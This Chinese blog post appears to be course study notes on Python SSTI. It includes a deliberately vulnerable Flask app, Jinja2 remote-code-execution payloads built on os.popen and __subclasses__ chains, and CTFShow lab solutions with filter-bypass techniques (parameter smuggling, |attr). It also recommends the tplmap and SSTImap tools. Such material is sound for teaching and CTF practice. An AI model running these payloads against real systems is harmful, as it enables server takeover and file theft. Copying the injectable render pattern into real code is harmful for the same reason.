本文发布于477天前,本文最后更新于476 天前,其中的信息可能已经过时,如有错误请留言或评论。
知识点
- Python安全-SSTI注入-类型&形成&利用&项目
演示案例
➢Python-SSTI注入-类型&形成&利用&项目
什么是SSTI
- SSTI(Server Side Template Injection,服务器端模板注入)服务端接收攻击者的输入,将其作为Web应用模板内容的一部分
- 在进行目标编译渲染的过程中,进行了语句的拼接,执行了所插入的恶意内容
- 从而导致信息泄露、代码执行、GetShell等问题,其影响范围取决于模版引擎复杂性,
注意:模板引擎和渲染函数本身是没有漏洞的,该漏洞产生原因在于模板可控引发代码注入
各语言框架SSTI
- PHP:smarty、twig
- Python:jinja2、mako、tornad、Django
- java:Thymeleaf、jade、velocity、FreeMarker
Python-SSTI形成
测试代码,就是后面进行测试运行的网站
from flask import Flask, request, render_template_string from jinja2 import Template app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', default='xiaodi') t = ''' <html> <h1>Hello %s</h1> </html> ''' % (name) # 将一段字符串作为模板进行渲染 return render_template_string(t) app.run()
正常来说从传入name参数值是什么就会渲染什么,但是有模板引擎解析符号,从而将符号内的东西进行执行
http://127.0.0.1:5000/?name=SuYou Hello SuYou http://127.0.0.1:5000/?name={{2*33}} Hello 66 http://127.0.0.1:5000/?name=2*33 Hello 2*33
Python-SSTI利用
相关利用知识
__class__ 类的一个内置属性,表示实例对象的类。 __base__ 类型对象的直接基类 __bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __mro__ method resolution order,即解析方法调用的顺序;此属性是由类组成的元 组,在方法解析期间会基于它来查找基类。 __subclasses__() 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。 __init__ 初始化类,返回的类型是function __globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。 __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。 __getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b') __builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。 __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()] __str__() 返回描写这个对象的字符串,可以理解成就是打印出来。 url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且get_flashed_messages.__globals__['__builtins__']含有current_app。 lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}} current_app 应用上下文,一个全局变量。 request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read() request.args.x1 get传参 request.values.x1 获取url中get传递参数 request.cookies cookies参数 request.headers 请求头参数 request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data post传参 (Content-Type:a/b) request.json post传json (Content-Type: application/json) config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }} g {{g}}得到<flask.g of 'flask_ssti'>
测试流程
下面的语句均拼接到模板渲染的接收参数处,这里我们均拼接到url的name值处http://127.0.0.1:5000/?name=2*33
- 判断利用,使用以下语句查看当前环境中哪些类可用
{{''.__class__.__base__.__subclasses__()}}
- 查找利用类索引
下面是可利用的类,找到其索引,索引从0开始排序,根据环境不同,索引也不同,所以需要实际情况分析<class 'os._wrap_close'>
- 使用以下语句显示类方法,在其中寻找利用类方法
{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__}}
- 构造利用类方法
{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__.popen('calc')}}
其他引用利用
{{[].__class__.__base__.__subclasses__()}} {{[].__class__.__base__.__subclasses__()[133].__init__.__globals__}} {{[].__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('calc')}} config:{{config.__class__.__init__.__globals__['os'].popen('calc')}} url_for:{{url_for.__globals__.os.popen('calc')}} lipsum:{{lipsum.__globals__['os'].popen('calc')}} get_flashed_messages:{{get_flashed_messages.__globals__['os'].popen('calc')}}
演示(绕过限制-CtfShow项目)
ctfshow-ssti参考:https://blog.csdn.net/m0_74456293/article/details/129429424
- Web 361 无过滤
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('cat /flag').read()}}
system是无回显的,之所以使用popen是因为自带读取函数read,可以得到执行命令的结果进行回显
- Web 362 过滤数字2 3
?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
在前面的flask的代码里面测试了一下,那个[]里面的数字可以进行运算,支持*/,/之前要加个/进行转义,所以应该也可以填入一个可以计算出132并且不含23的式子,这样应该也可以绕过这个过滤
- Web 363 过滤单引号
?name={{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag
- Web 364 过滤单引号+args
?name={{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag
- Web 365 过滤了中括号
?name={{url_for.__globals__.os.popen(request.values.c).read()}}&c=cat /flag
- Web 366 过滤了下划线
?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
绕过总结
过滤数字
使用没有数字的payload,或者拼凑一下不过滤的数字
config:{{config.__class__.__init__.__globals__['os'].popen('calc')}} url_for:{{url_for.__globals__.os.popen('calc')}} lipsum:{{lipsum.__globals__['os'].popen('calc')}} get_flashed_messages:{{get_flashed_messages.__globals__['os'].popen('calc')}}
过滤单引号
类似参数逃逸,过滤原本的参数,但不过滤自己添加的参数,使用url参数替代函数和命令,如下
?name={{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag
过滤指定字符
如args,那就可以替换使用values或者cookies
?name={{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag
过滤中括号和单引号
?name={{url_for.__globals__.os.popen(request.values.c).read()}}&c=cat /flag
过滤下划线
使用|attr(),这个在文末我提到的文章里面有讲到
?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
Python-SSTI项目
- 黑盒中建议判断利用:
- tplmap的github地址:https://github.com/epinna/tplmap
- 这个需要用python2执行,貌似还得用pip2安装requirements.txt,我整了一下午没搞好
- 而且这个不能检测本地的,不建议使用
- SSTImap的github地址:https://github.com/vladko312/SSTImap
- 这个是python3,而且可以测试本地,推荐使用这个,两个功能是差不多的,但这个支持更多
- 提交的数据页面中有响应即显示即可进行SSTI测试,有点类似XSS黑盒检测
- 手工检测需要知道是什么引擎,并且知道该引擎的模板引擎解析符号是什么
- tplmap的github地址:https://github.com/epinna/tplmap
- SSTI靶场集合:https://github.com/Pav-ksd-pl/websitesVulnerableToSSTI
- 这个是小迪
推荐
这里是我自己找到一些资料,都是大佬,大家感兴趣可以看看,
淡淡说一句,大佬NB,真的牛
- 这个buuctf的题过滤了基本普通能看到的所以东西:https://buuoj.cn/challenges#[Dest0g3%20520迎新赛]EasySSTI
- 但确实很有学习意义,
- sstilab模板注入靶场:https://github.com/X3NNY/sstilabs
- 这个靶场也比较好,里面有很多小迪没讲和上面文章没有讲到的绕过,建议可以尝试打一下
- Flask SSTI LAB攻略:https://john-frod.github.io/2021/05/06/Flask-SSTI-LAB攻略/
- 以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用:https://xz.aliyun.com/t/9584
- |attr()在这个里面有讲到
参考
学习内容均来自小迪安全系列课程:
Python SSTI漏洞学习总结:https://www.cnblogs.com/tuzkizki/p/15394415.html